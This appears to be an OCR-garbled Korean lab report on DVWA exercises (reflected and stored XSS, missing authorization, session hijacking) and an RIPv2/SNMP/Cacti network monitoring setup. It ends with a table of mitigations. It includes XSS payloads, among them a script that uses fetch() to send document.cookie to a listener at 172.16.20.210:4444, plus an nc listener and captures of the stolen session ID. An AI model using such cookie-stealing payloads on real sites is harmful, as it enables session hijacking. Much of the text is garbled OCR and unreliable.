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<?php
header ("X-XSS-Protection: 0");

if( array key exists( "name", GET ) & GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $ GET[ 'name' ] . '</pre>';

?>
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Authorisation Bypass |
Open HTTP Redirect z
pot | Disclaimer
Coypogeaphy |

DVWA 0j|Ql ot 2 Eot 43 bl

Low, Medium, High, Impossible 50| Z&tel E2CH2 Ul



iU W oUvewAayil.g, uls sver v

[ Low || Submit |

ow
Medum @l Tools
High oken Ac
Impossible

55 Co

Hot S Low HAZ d¥st= EECHR Ol
BEAFS XSS T O|2|0f| A O] E2H0l| 'choi'E & gfLICt.
Reflected Cross Site Scripting A= 2 /212 U ‘choi' B2t

b @ hitp://1.1.2.2/host php2a it p-cll@ze-an-@m x

£ | 1= | Reporting | 23 N

edil

% (@E) | EOZ 279! admin »
R6 (3.1.3.1) *Create New Device
S faformation ~Create Grapns or (s Devics
o, 7200 Sormro (OT200-VENTERRISEG). Vorsicn 12 ALZIY, FELERE “Re-Index Device
*Enable Device Debug
& oo “Repopulate Poller Cache
P “View Poller Cache
*Data Source List
AoIE “6raph List
12
dgy=
HolE B
‘Agaregates BR
£ Data Collection A
) 28 -
IHx27) 7
PR2II/YE I Poller Assodation @ Main Poller
Device Site Association @ Edge -
- Device Template @ .
’ _—
Number of Collection Threads @ 4Threads -
Disable Device ® 0
'SNMP Options
SNMP Version @ Version 2 i
SNMP Community String @ public

rc

FARR XSS 224

‘Hello choi" 277} /2] TE offof Z2ig

Home Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
soup Rasot08 e — )

Hello choi
Brute Force

Command Injection

CSRF More Information

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Stored)
CSP Bypass
Javascript Attacks
Authorisation Bypass
Open HTTP Redirect
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header("X-XSS-Protection: 0"); 2 $_GET['name'] 28 ZE &0l



Damn Vulnerable Web Application (DVWA)Source :: Damn Vulnerable Web Application (DVWA) — Mozilla Firefox

% Not Secure 172.16.20.15

Reflected XSS Source

vulnerabilities/xss_risourcellow.php

<{Iphp
header ("X-X55-Protection: 0");

if( array_key_exists( "name”, $_GET )} && $_GET[ 'name’ ] = NULL ) {

) echo '{pre>Hello ' . §_GET[ 'name’ ] . '{/pre>"
m
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D Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup | Reset DB

Brute Force
Command Injection
GSRF

File Inclusion

‘What's your name? | <script>alert(‘chof)</script> || Submit |

Hello

More Information

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DoM)

e ]
XSS (Stored)

CSP Bypass

Javacript Attacks
Authorisation Bypass
Open HTTP Redirect
Cryptography
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o Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup | Reset DB What's your name? |srt(document.cookie)</script> | | Submit |

Hello
BrmeForce |
_Commana injection__|
csRF | More Information
Fioupoas |
SQL Injection
'SQL Injection (Blind)
S
B ]

XSS (Stored)

CSP Bypass

JavaScript Attacks
Authorisation Bypass
Open HTTP Redirect
Cryptography
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Instructions |
Setup Reset DB Wihats yourname? | Gubml

Hello

Bruts Force |

Command Injection

CSRF | More Information

File Inclusion

File Upload |

Insecurs CAPTCHA |

SOL Injection

S0l Injection (Blind) |

‘Weak Session IDs

XSS (DOM) |
|

XS5 {Stored)

CSP Bypass. |

JavaScript Attacks.
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Unknown host
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Wireshark T2240| 27| Al al OIE{H|0|A S}H

ZE2MO 2 S435}El tep.port == 4444 ZE YAzt

Destination

7183 36.078413556 221.165.160.91 172.16.28.1
‘ 7184 36.070413960 172.16.20.1 221.165.18.91
! 7185 36.083639435 VMware_24:26:8d Broadcast
| 7186 36.0936089903 172.16.20.1 221.165.18.91

7187 2R QA0GALQTA12R 2791 1RE 14 Q1 479 48 200 1

tcp.port == 4444 WHE A 8510 £ Ij2S MEst= ot

LEZE 20| HTTP Z2EZ0| GET 248 &QlstH, FAZ0|| etz 77| 4ol Y
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Capturing from ethd
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Protocol Length Info
TP 60 52664 . 4444 [ACK] Seq=1 Ack:
66 4444 ~ 52604 [ACK] S
68 [TCP Keep-Alive] 52604 - ad4d
66 [TCP Keep-Alive ACK] 44d4
60 52604 . 4444 [FIN, ACK]
544444 . 52604 [FIN, ACK]
60 52604 . 4444 [ACK]

172.16.20.60
172.16.20.210
172.16.20.216
172.16.20.60
172.16.20.210
172.16.20.60

. 210
20157 84.959235944  172.16.20.60
20162 84.966878826 172.16.20.60
20163 84.965901563  172.16.20.210
37482 129. 968232445 172.16.20.60
37483 129. 988254769 172.16.20.210
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// Y Wy L I A
message = trim( POST[ 'mtxMessage' ] );
name trim( _POST[ 'txtName' 1 );

// 12k BEE: A5eiA] AHAH L sL AHMMH 2o
message = stripslashes( message );
message = mysqli real escape string(GLOBALS[" mysqli ston"], message);

// GIO|E{H|O] A0f A2
query = "INSERT INTO guestbook ( comment, name ) VALUES ( 'message', 'name' );"
mysqli query(GLOBALS[" mysqli ston"1, query);

’

MBI E: 0] 2E=mysqli_real escape_string()= AF5H SQL Q1AM (SQL Injection) 342 0= F& 2O{5t) UR|Tt <script>et &
2 HTML E}2E 2&3tet= htmlspecialchars ()2 22 QRY X2 5] 51| o4 JAELICH =, SQL 2ok A KoLt XSS Eote =21 A
Ql At L Ct.

34 At U 23|
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Stored XSS EtO|E1} Name, Message @212t
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e Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Setup | Reset DB

Message *
Brute Force )

Command Injection

Name *

| Sign Guestbook || Clear Guestbook |
CSRF

File Inclusion

File Upload Name: test

Message: This i a test comment
Insecure CAPTCHA

|otmesin | More Information
SQL Injection (Blind)
WeakSessioniDs |
xsspow |
[ESS\etieci=ch—
EXET
CSP Bypass

JavaScript Attacks
Authorisation Bypass
Open HTTP Redirect
Cryptography
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File Upload Name: test

Message: This is a test comment.

Damn Vulnerable Web Application (DVWA)Source :: Damn Vulnerable Web Application (DVWA) — Mozilla Firefox

A Not Secure

{php

if( isset( $_POST[ 'btnSign' ]} ) {
$messag.e = trim( §_POST[ 'mtxMessage’] )
$name =trim( $_POST[ 'txtName'] )

$message —smps\ashes Emessag
$message = ((isset($GLOBALS["_ *ﬂysqll ston"]) && is_object(3GLOBALS["___mysagli_ston"])) ? mysqli_real_escape_string($GL

$name = ((isset{$GLOBALS["___mysgli_ston"]) && is_object($GLOBALS["___mysali_ston"])) ? mysqgli_real_escape_string($GLOB

$query = "INSERT INTO guestbook ( comment, name )} VALUES (* fﬁmessage $name
$result = mysqli_query($GLOBALS["___mysali_ston"], $query ) or die( '<p re) ((is_obij e(l $GLOBALS["___mysgli_ston"])) ? mys
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= | Vulnerability: Stored Cross Site Scripting (XSS)
Inservctions |

Seup | Reset DB

Brute Forco
Command Injection Sign Guestbook || Clear Guestbook |
cser

Flle Inclusion
File Upload
Insocure CAPTCHA | =

Sal ijection =t
SQL Injection (Blind)
Weak Session IDs | More Information
XSS (DOM) |
XSS (Reflected)

Mame *

Message

st
This i & lest comment

CSP Bypass
avaScript Attacks
Authorisation Bypsss
Open HITP Redirect
Cryptography
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * !choi ‘
Message *
4
| sign Gu
Name: test

Message: This is a test commg
More Information

™ Check Spelling

Languages

Inspe

Inspect (Q)

I ————— L

Ab 4= et SHAIE U5t HE A =719 InspectS EHeH 51

Inspector =7+2 A2 E textareal| maxlength &4

s Vulnerability: Stored Cross Site Scripting (XSS)

—— N mEm
Message * i

Brute Force |

Command Injection Sign Guesthook || Clear Guestbook

CSRF

File Inclusion

File Upload Name: test

[ — Message: This is a test comment.

Insecure CAPTCHA

gRCimction More Information

SQL Injection (Blind)
Weak Session IDs.

margin

@1242ko| maxlength £4S 5004 100022 HZ5H= 1t
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| Vulnerability: Stored Cross Site Scripting (XSS)
J Name * |choi |
<script=fetch("http://172.16.20.210:4444/steal?cookie=" +
J Message * document.cookie),</script>
4
J | Sign Guestbook | | Clear Guestbook |
|
|
|

klama: tast

AR Yo 27| &3 A3FPES YU HEN

220 LIEFF Name: choi A2

o Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Name * | |
Setup | Reset DB

Message * ‘
Brute Force )
Command Injection | Sign Guestbook || Clear Guestbook
CSRF
File Inclusion
File Upload Name: test
Message: This is a test comment.
Insecure CAPTCHA
iecti Name: choi
SQL Inject
QL Injection Message:
SQL Injection (Blind)
Weak Session IDs More Information
XSS (DOM)
XSS (Reflected)
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Capturing from ethO
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No. Time Source Destination Prcmcol Length Info
16172 35.524708203 .16.20. 172. 1 .210 66 61551 — 4444 [SYN, ECE, CWR]
16173 35.524763005 .16.20. 5 66 4444 . 61551 [SYN, ACK] Seq
16174 35.524922902 .16.20. 5 1 60 61551 — 4444 [ACK] Seq=1 AcH
16176 35.525401113 .16.20. .16.20. 464 GET /steal?cookie=PHPSESSID
16177 35.525411810 .16.20. .16.20. 54 4444 — 61551 [ACK]

61
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ofof s gt ct.
o 9I7H(Authorization): "&
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Broken Access Control zl
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HTTP2| Stateless 41} M| (Session) & F7|(Cookie)
2 o Ee|Z|0|d0] ArEAS| H
o] 01 23 HEhS 7|2f5HA Y= S40

A 2712 2218 4 9

E
ro
njo
Rl
I
b
[0

2 22|5H7| 2ISHAM = HTTP 22 E=9| Stateless(FAYE M) E42 O[3l OF SLICH HTTP= AME{7 22}0|¢E
QUELICE Ol 01, AFEAP7L 'oltf2)7te 22 & A RIM'E TS O, M7t 0| 238 7|Ystr| REICHHA

AEEULE ALEAI7E 20151 MEl= AFEAte] EE M| T=22|Lt H|O|E{H| 0] 201 225t (M|
SO} AFBAL EetR Aol M YLCt ot Hatex= MEU2 M IDE F712t= 22 HAE Ty

T =2cto

2 YR50] 2YLCH M 0] 7] £2| MM IDE £2 "0, 0] 232 Ot 2%t 'choi'd0]

M(Session)2t 7|(Cookie) 7|&S
U= DR MM ID(Session ID)E A
b, O|F 2E 230 0| 7|2 2t52
Y

[ 4~ QUCHH, oto|c|et B Y

2 =3 il | #5t2 OtH2 AHEst= Ml 5to|2Z (Session Hijacking)
220| 7}%6H1'I_|Ek AlSS %EH 2kQI5H XSS(Cross-Site Scripting) &4

829
t2 o] %L?I t.:% Ezlot= YES £HO 2 AR EU L
e ot ZHHIARYES S0 ARBALS| EatRA0f HZAE 7|5 AHe| MHZ B&st=F BHEU T 22 XSS 348 Sall Z2IE Mi Z27t
to| Mujof deel= M) m2le] RE&YLIC,
0|3 77| 210 L2 ¥ A= LlsH2t| MM IDE 2H4lo] Bat2A{of Mo msHat AL 2 YWALO|ES OISTHE 22He 4 Q&L Tt Mbje 37|
2 MM HitpOnly 298 H7Z510] AHHIAIYET} 2612| 2otz 2 whofshof Lt

A2 Ao AIZ Qlof Ydst= He 4E52 I F 71| 22 LTt
1. 82 A3t & (Horizontal Privilege Escalation): S5t #st 22 712! CH2 A2 22| H|O|E{0f| 25t FYLICt OlE S0, ALEAL A7t URLE
0| )2 225t A AL B2 7HRIYE E 235|st= IDOR(Insecure Direct Object Reference, CWE-639) = 20| CHEZA{]L|C},
=]

2. 3 At 4&(Vertical Privilege Escalation): & Sote 2RYLICH 2|2 HiFE VoM S7|Cete, 222t

= © — -
59 URLS 212 240} 124 (23 BRI 4 UCHY 4212 28t 450|248 Z1LICH

m
o
£y
on

7 o
0218t A2 &3] Client-Side ZAS0l|2t 2|28 1 LUYLICH ABATZPER HES S77{HL API S22 U= A2 AEAIR| HOIE 2I8t A0[2]| ot 9



St 20| opgLct. 2= Hst HS2 BIEA| Server-Side(AH £)0f| A O] 20{2{0F FL|Ct.

A& CWE-862 23t 23] U |4 22| 204 2ol

DVWA(Damn Vulnerable Web Application) 880l 22|12t HetE 713 A Y| 7|58 Lt AFZAP E3(E 4~ A=Al &5t d&
G2 Hot2-Oo] 7t U2 'Low' HAOIM £ ASLICH

ujo
™
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e
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L &

o CHA| 1 (S =HQl): 22|ZH(admin) AZ 2= 201510 Yt R3] 7|52 HIAET £ AUz U= (0l Authorization Bypass)S &HQI5t, sliE 7|52] URL

o T2 (2O0FR L A1 AE): 22|12t AGoIM 20tREH =, HeH0| Y2 Y ARZAHO]: pablo) Al¥22 2IgL|
o T 3 (34 AlE): Lt ALEAL Ol w0l = 20[A] A2, T 101M SAGIEAE 22(2F & URLE 21 Bt o0 42 Al=gu ot

2tof Ak AFEAIZ 2O0IMS = 271511 22(At HE W07t YYH2 2 S| 2LY, (A2 £lsh 2 QU= TI0[E /A 52| 20| 7ttt
Ol= CWE-862(Missing Authorization) |2f2{0] Zzfist= 222 THELICH 5, MHII 2F S H2[5t7| A "0] AFZA17L 0] 7|52 Ar8S HEto| A=

|
718 ASotA| g, thes| "2 QIS AFEARRIVE RS EIGHT| YL Ct.
o2, M &elo| HEHE HHoHoF LT 20t S +ls F0|= M| = M4 I (Of: Rocky Linux®| /var/lib/php/session 2= L IiQ)
Ol AFE2F BEIt O{A35| LOIUMLE, B2tA{0f Yofle 7|2 24 of 27010| RA|EICHH 0|= MM 2tz 0|5 (Weak Session
Management) %[ 2F&0f| i S&L(Ct.

A2 o A o] MY ZQIE

20F ITHO|LE TH T OM Y2 A0 U 91 T2lS I3 WEA| SHOIs0r B $2L C13H 2L
o 2E 230] U3t Mt & 25 UIOIA S22 HEO|L 07t UCREE, 312 APILE HO| IS 553 0 MH{OIM M4 B2 S Higto2 UEHS BreX| 242
B3t
« IDOR #|: A[22} D, A ¥5 S AAE HZ5HE N2A0|E7} S20|AERRE| UL 0, Y 237t 2B ALBRI| 2R AHOIN AZHET

o MIH MFFI| 22| 2T0FR Al MB| & M HIO[E{7F SA| T | = =71 MM EHIORR (Timeout) € 0] 5| £[0f UE7t?
o T EOtHY: M F7(0 HttpOnly (RHIAIZE Y2 24T L Secure(HTTPS S41 Al0f2h M&) £40] HEL[O] =71

o ZA| Hatey 2tttk oS 7hs URL HHE(Of: /admin/user_list.php)S S5l QS5 A &2 ABAE 25 2o P2ohs A4S AEstd Ae=71?

HES3 QlZa} £&: RIPv2 2tE % SNMP 7|4 RLIE{Y 8td 2

HIESRT QlZato] 7|2 = 32| 2to] datt S48 245t= 2k (Routing)t, FEE HERIT| HEIE ASH22 2T 4~ U= 2LIE{Z (Monitoring)
sds i’gﬁff 7*?:!'—I'1f 2 &M= 72| HE{(Distance Vector) 2t2E Z2EZQ RIPV2E AE5H0] 2tRE 2 2S5, SNMP Z2EZS 0
&afl Cacti E2H0IM HIEQIZ YB|9| Y5 ARE AlZ=lste 1Y S THELICL

1.HEHI EERZ 24 2 &3 7=

A2, S4 0] &= Cidst HEY I MOAHES 4L CH |
(ESW)2} CHsH SA E (Ubuntu, Windows, Rocky Linux) 7} B2
ot 232 HEST 225 dAStAS T
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o 2tRE{(Router): M2 CIE UERT ChH(0: 1.1.1.0/24, 2.1.1.0/24 S) AtO|0I| A TIO[Ef THZI0| SHA7IA| =T 4~ AES 2|2 F2E ZHFUILL
o 221%|(Switch): S UIERA th L] Z25S HESI0] HOE MES SAHLICE

o o= ZOIE(Endpoints): SNMP DL & (Ubuntu/Cacti), SNMP Of0]H E (Rocky Linux), 12|11 EAI HAEES Q|6 CHYS 22I0|ME 3HAS ZEHsHL|C

R1(1.1.1.0), R2(2.1.1.0), R3(3.1.1.0) 2 s1/0 52| QIE{H|0|A A&



1.1.1.0
2.1.1.0 3.11.0

si/0
e B2 i/0 si/1 2120

R1, R2, R3 2tRE{et 2} QIE{H|O| AT AZEE M| HEYI EER2A Fd=

Cloud1 ##7+2] UDP tunnel 1 2 R1, R2 2tE A&

L1102 3.1.3.0/24
Cloud1 /
2.1.6.0/24 B e 31.2.0/24 5
UDP tunnel 1 a \ é
|e2s0 L e2/0
0/0
ESf1 SW
ﬂ)ﬂ \“D‘”
CIO | 2 -
UDP B} 2IRE{E ZEdt M HEHT &8 4=
=
2.RIPV2EIRE DT2EZ MY

M-E RIPv2(Routing Information Protocol version
j|

2IRE It MR 22t HAE HESRA %*E% st&ot7 ot 2tRE Z2EF0| WLt & 2450
ME 2522, VLSM(Variable Length Subnet Mask)O|

2 A50
2)E AFEELICH RIPVIZt 2| RIPV2E st5ts 2 A2 A (Classless) 2tLEIS |
22E A HES A 3H70| EHeL|Ct,

mi=A=!

>¢
o
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]
o
H
]
H

AMEOME R2 2tREE 7|222 13 22 ¢
1. 2tRE Z2MA 245t router rip BHOIE Soff RIP Z2MAE AIZFLCH
. WA 2™ version 2 YHS YE5t0] SejAe|A 2tRY 7|58 E45HEL T

2
3. HIEE93 M2 network [HEQAFTA] YHS Soff oiie 2HRE{0] 21 FEE HERS A2 RIP Z10 Helof ZIAIZL
4 o Al

g
91 M (MeH AFZ): M50 HOlZ 93 no authentication 4HS Sai 915 HAIS AT 4 QIOLt, UH| O HFOIAE MD5 S8 0185 91F
ol gt
M| ARE FO|= 242 E0| 20| SR A=A, BDE HEYT LIt SHANR| S5 2olsof BiLict

router rip, ver 2, net 1.1.1.0, net 2.0.0.0 &0

R2#conf t
Enter configuration commands, one per line. End with CNTL/Z.
R2(config)#router rip
2(config-router)#ver 2
[config-router)#net 1.1.1

R2({config-router)#net 2
2(config-router)#no au
(config-router)#j]

R2 2tRE{OM RIPv2 Z2EZ HY LU HESL3 tfq S dYst= E{0|E 3t

Gateway 3.1.2.1 A& 2 snmp-server community public &0



on Sourc
Distance
1.2 120
ance: (default is ¥

Last Update

R2#conf t
Enter configuration commands, one per line.
ig)#router rip
outer J#network 2
config-router )#end
R2#
*Jul 6 1
R2#conf t
Enter configuration commands,
2(config)
confi
confi
confi

End with CNTL

5-CONFIG_I: Configured from console by console

one per line. End with CNTL
r community public community
18 pe

18 permit 1.1.2.2

r community public 18

S-5-CONFIG_I: Configured from console by console

R2 2tRE{9| 228

ox
HC

H}
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3. SNMP 7|

HERZIL F2E =0z FH|o| CPU 28, 7t& AlZHUptime), E21E JEi S2 HAIZtS.2 Thofsof gLt 01Z 2I8H SNMP(Simple Network
Management Protocol)S Z&8fLICH. SNMP= 2t2| A|ARL 22| oo 8| 2o YEE ke BE T2EZYL|CH
SNMP +g0fl= & 71A| sy ol ZAgLICt
e SNMP Manager (Cacti/Ubuntu): HIEXI LS 27222 2F(Polling)st, £ & CIOIHE & L Al2fslst= FAIYLICH
e SNMP Agent (Router/Rocky Linux): 22|2t2| 2¥0j| w2} Aj4le| e Y25 SHot= T
HOHS QI3 SNMP A A|0fl= Community String(H|ZH 5 9f RAISH &S MYstn, E2 IP R4 (0: SNMP OfL| 22| IP)8F 28 4 =2
ACL(Access Control List)2 285tz 20| 42242l ZAEJL|C HE0|ME R2 2t2E{0f 'public'0l2ts ARUE| AEYS HYotl, 2| d2 2|2ES
S5 HOHS 0l S FHOIFLICH
Hostname 3.1.3.1, SNMP Version 2, Community public #A|
— 2L Enter a regular expression Q  Graph Source 25 - = J|E@ -
Graph Name Ixed
=) @ R1 - CPU Usage 14 EEE Cisco - CPU Usage 200x700 []
AolE R1 - Polling Time 12 HEH Device - Polling Time 200%700 [ ]
L2 R1 - Uptime 13 el Device - Uptime 200x700 []
e R6 - CPU Usage 17 aza Cisco - CPU Usage 200x700 []
E’QZIZg:‘:s R6 - Polling Time I el Device - Polling Time 200x700 []
R6 - Uptime 16 =] Device - Uptime 200x700 []
D === Rocky - Combined SCSI Disk Bytes 50 BERH Net-SNMP - Combined SCSI Disk Bytes 200x700 []
Rocky - Combined SCSI Disk 1/0 49 BEH Net-SNMP - Combined SCSI Disk 1/0 200x700 []
a )*; — Rocky - Context Switches 48 2= Net-SNMP - Context Switches 200x700 []
- l_;;: — Rocky - CPU Utilization 44 AEA Net-SNMP - CPU Utilization 200x700 []
Rocky - Interrupts 47 HEd Net-SNMP - Interrupts 200%700 []
Rocky - Load Average 42 HE Net-SNMP - Load Average 200%x700 [ ]
Rocky - Logged in Users 45 EEEl Host MIB - Logged in Users 200x700 [
Rocky - Memory Usage 43 = Net-SNMP - Memory Usage 200x700 []
Rocky - Polling Time 40 EEEl Device - Polling Time 200x700 []
Rocky - Processes 46 =0 Host MIB - Processes 200x700 []
Rocky - Uptime 41 HBER Device - Uptime 200x700 [
All17 Jg=
Cactiofl M SNMP B 2 HRLIE| AEY S HY5t= QAEHO[~
= = =
4. CactiE 0| 8¢t G|0o[&{ A[Zfst L HS
£ €l SNMP G0|E|= Cacti 2242 Soff 2l2H2{Ql 2T 2 HEHE LT} Cactie F712 22 0|0]E0|H| HI0|&|E 2 (Polling)dtl, 0|5 Gl0|E{H|0] A
of Mst £l A2t =50]| THE BstE 2o,
H3HYU ZUEHY o 7% olf = S 22 =S Sl ZSELIC
o ZH| 7tAl: Cacti@l Graph ListOl R1, R6, Rocky & Chel ZH|S0| d4AHo2 SERU=I
e CJ|O|E{ £ §F: CPU Usage, Polling Time, Uptime, Memory Usage S SiA! 2| B2} J=2fZ2 J242[&71?
o Cl|O|E{2| Hahd: HA| FB|2| et CactiolM 2= J2i2o| Fokgo| Y2|5H=7t?

CPU Usage, Uptime, Memory Usage S H|8 12X 52

(=}
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) Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions
wnats your namez[enol | (submi) ‘

Setup / Reset DB

Brute Force
T More Information

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
WeakSessioniDs |
£xsS oM B
[ xss Rotiocto) |

XSS (Stored)

CSP Bypass

JavaSeript Attacks

Authorisation Bypass

Open HTTP Redirect

Cryptography

ao1

Cacti AIAE0I SSE R1, R6, Rocky &H|o| §5 2LIEY 22 25

g 2 Of & el A ZQUE
ARE Z= 0| RIPV2 HHH SU2| E= HESF 0|41 2} 2tPE{0|M show ip routeZ ZLE F=2 20l
SNMP H|0|Ef £=3] AlTf Community String 22| = ACL 2F¢t Cacti 23 7fa ZH[9] SNMP H¥Zf ti= 2 ACL & IP &9l
Jeio 0|2 SNMP Poller 2= @2 £ HEQ 3 2| Cacti 21 &0l I ZH| ZF H(Ping) HIAE &3

AR Tip: 42 29 SH0| M= SNMP v1, v2cQ| %[5t 7D LIE| AER] YAHITH= 45359} 015 7|50| Z5HEl SNMP v3E Al5H= 40| 2ot B2
Lict.

2 HIME ¢ ofiZ2[A01de] 2 2{FYel A=A AO|E ATF-E(XSS)2t 2 A|0f 0|5 (Broken Access Control), J2| 1 HEQIS QIZ2fo| 2Y Hots
SYHo= HAHS| st sE U U JI0|=E ASEICh SARL| 2HOIM 2 AHE AMESHL, 2te|2te| 2HOAM 0|2 Y FSstd RHEYY 2l

1. ¢l ojE2|#|o]H 2k XSS (Cross-Site Scripting)

XSS= @ H0|2|0f| ofd ATZEE HYSHH ALEAIR| MEE BESHALE E2tAE A|0fSts SA0ILH 2| ALEAL| Y20] SA| H|O[2|0f BHEx|= HHAFY
(Reflected)} Cl|O|E{H| O] 20f P[0 AL 2 HAL|= X (Stored) 22 T2 ECE

1.1 HEAFS XSS U M| 510|212 (Session Hijacking)

BEARY XSS BHA7E 2AE URLS TISiA0l7 MEHD, T3t 0| SRS 1) ATRET} ARl $AOICH g B39 DVWAS] Low Bt 2
BCE BABIR OIS 22 20| BAECY,

o HOFMAM Glix|: header ("X-XSS-Protection: 0"); BEE E5l H2tR22{9| LI XSS #0| 7|52 HA2 H|&M435)sict
R, Le

AS 0I5 AF8AE YHet $_GET[ 'name'] 20| OFR& HE{R 10| echo 28 S5l HTML 72 Ljofl ZI1tH2 S EICt

S2HAkE 0|2 0|85l document. cookieE EZ|ot= HO|2ZEE &Y 4 ULt fetch() S8 ALESIO SAAQ| MHZ 7| HIO|EE W& St= ALt
2F Ch33h 20| St
A, DVWA2| |of5t T 0| X 2 & &HQISHT.

To|2] LholM ALS 2} @I213t0l #Z 20| Ak B2sl B4HS Bolsict,
A1 & PHP 2ES 241510 SOt 40| IS HoIBiCH
Ciadtalert() P42 ATUE HY 09 S 91 HAEIC

0|F, AR MM 7|2 erz|517] Qs 22 A| M (Kali Linux)Z C|0|E|E L= fetch I0|2E

mlru
E
9'E
finl

M3 23}, 2219 BYS SH AR MM HEIt =2ET
27 WsHap7t B22te] YA SUTORM BHECH BHALS nane THf0lE{0] 23 RES 42 URLS MABICH

324 2k= HIOIE1E £=4I517] fI5h Kali LinuxOllM nc -1vp 4444 HBHOIS Sof 2| A4S LATHCL

a7t Y-S S2I5tH, SAAQ| B0 20| E2|E 77| 20| ZLeE HTTP 20| 441 E/C}



0] ZHO| HAHOR 0|20 FH=2| BOI57| 95 WiresharkS ALZ 3101 LIEY T TS SA BT,
44448 BEZ S0{9= E4LD B7| 9f3) CAS20| WEIE HE3iCt

HE{JE ZUOIM HTTP GET 23 WRo| 27| Z27t EAH JAs XS 2E St

1.2 2@ XSS (Stored XSS)

Y XSSe A ATA-ET Y A{B{Q| H|O|E{H]| 0| A (DB)0l| 21 A== YAO|CH WatM Tsizf7t £E4 Y IE 22IcHA| ¢Hets, 3AA7 dojls2 2
A28 Z3lots BE AHEAPE 32 0| ElCt. Ol= BAIHEC W - =Tt =Lt
DVWAS| HHZ (Guestbook) 7|52 Sl M&S 2IASICH AH & ZE=mysqli real escape string()S AR50 SQL QMM dlofst QoL
HYE HOHE HTMLZ 23T [ HE 9| 0| A 0| 2| S SFR| Q0F XSSOf| | F5tet.
CEC0H2 079 Low MEH AEf
4. IMpOSSIDIE - I NIS [evel SNou
source code to the secure 5
Prior to DVWA v1.9, this lev
[ Low v || Submit |
Additinnal TAanle
A& 2lel DVWAS| 2ot S Low THAZ HAE
32 Al, OIA|R] =ztel 22t 2~ AHgH(maxlength)& &I5H7| 2lah YAt =& AHESiCt.

AgtE 100022 52

_$_
HAZE SF5IE o4 2=t DBO A Y=(0, YYE 50| 34 DI} ZotE

N

i2 =2t

OR|sto 2 A B0l 443 OIS 12 B2S S HoIsit

. 2 Ao 0] (Broken Access Control)

OWASP Top 10 20219] 1&2| 2=l 'Broken Access Control'2 AFEAI7t 518 &|A| g2 Hetof| YZ5HALL Erelo| HIOJE{off H2e 4 QU= Zeks of0g
Ch. Ol= tres| 219 25 =I5k 215 (Authentication)Q| 4|7t OFL|2t, 2015 AFBAE £ 7|58 AT HeH0| A=Al &lsts 17t

(Authorization)2| 24|0|C}.

2.1 CWE-862: 217t =2} (Missing Authorization)

017} O|E 2| CHEZQI Alafl= 2t2|2t I|0|2|Q] URLE 2l adst0] Hasts 2| 22t (Forced Browsing)'O|Ct AlSOfAlS CHE 1 22 M2 2|AHS
SHRISICE,
1. 2|2 admin) A¥ 22 2791510f authorization bypass 02| URLS ZAFSiCH

2. 2705t 5, ABt AFZXH(pablo) AlHS2 2 0IsHC}

3. YstAIgA ATIORE YR 4 g BelZ URLE 1Y M4

njo
>
|.|-|
o
jin]

2tof 2[R} T0|2|7 &M o2 2= H0| £Z0| 7HSSITHH, Ol ME AO|E0|M 2320] Ashes AS5HA| Y= CWE-862 30| EA5t= 20|

.

8240| 91Z MEhE /57| I3t HTTPO Stateless S 42 He¥she 7/£0] 27|10k HAOICE Al MM DS MA5t0] S2to|E0|A| AL, S2tol
£ 02 77(0) HZ5{0] Of 20K YAFICE D10t 21012 FOIE AH{o] M THI0] ALl Z| 47 LE 77| 30| REBICHR MM BH2 0/ 2i2tao

3. HIES3 Qlzat & 2LHY

EOF 2|0k A2

[e]

of | 7|2 HERA ¥t S41 558 olslists Zi0Ict. 2 H& 842 R1, R2, R3 2tRE 2t A2|2|, J2|1 Crkst OS(Ubuntu, Windows,
Rocky) 7[8te] MHS2 FHE(0] QLT

3.1 HEYD EE27 U 22Y 4

2t 70| E41S 9I5| RIPV2 TREZS HASICH R2 2tRE(O|A CHeat Ze &

o

of

i

LIt

ZIMH 22 SNMP 2LIEAS 2|5 et 2 Cigat 20| #EECh

Ubuntu(SNMP_Manager), Windows(Cacti), Rocky(SNMP_Agent) =& 74



SNMP OiL| {2t 00| METH A2{2| S Soff HEE ZLIEY &

3.2 SNMPE 0|85 A|A8 RLIEY

ol

HEQ|3 8| & M| AE|(CPU, Uptime S)& 22|

= 2] 215 SNMP(Simple Network Management Protocol)& &-&8%tCt. Cactit 22 =& AIE5HH
SUE CIO|HE A|ZStE D22 &0IE 4 QIot,

R6 ZHI2RE +8E AT SNMP Z2E SHQIGtTt

Cacti A|AHEIO| S25|0] 22 E|= CHUsH s DL|E2 i 2| AEEZ SQIFIC},
4,29 %Y ¥ A2 AE
A A e R ook 712 Y R3] A
Web (XSS) ALE2F gt Hed HTML Entity Encoding € 0%, X-XSS-Protection 5l|G A& &0l
Web (Access Control) At AZ (Authorization) URL 213 23 A| B AJO|Z M5t 2|3 0, IDOR(EQ! C|O[E| H2) &0l
Web (Session) M4t e 2ot 270k Al MM 7| o2, 7|9 HttpOnly X Secure £4 M%
Network D2ES 2 2LEHY RIP/OSPF S 2tR& Z2EZ Hot A% SNMP HFLIE| AEZ 22|
A/ ZRIE
e XSS vs SQL Injection: mysqli real escape string2 SQL Injection2 3tS 4= QR0 £2 CHA Q] HTML ATJZE = 32| 25H0H= ZS HHEA|

S0lsof Btct.
vs 27k "201S HAFO L} 22|} B0 H2 JHSSICH 0l Q15e| 2|7 ofL|2t 217HAuthorization)2| £&[0|Ct,

=
= [AySE
BN 34 43 025 TTHE 1] B2t S0t ofLi2t WiresharkE S5l 44| GET/POST 0] 21245t 50| (Cookie §)7F L&HE|0] A=A

M



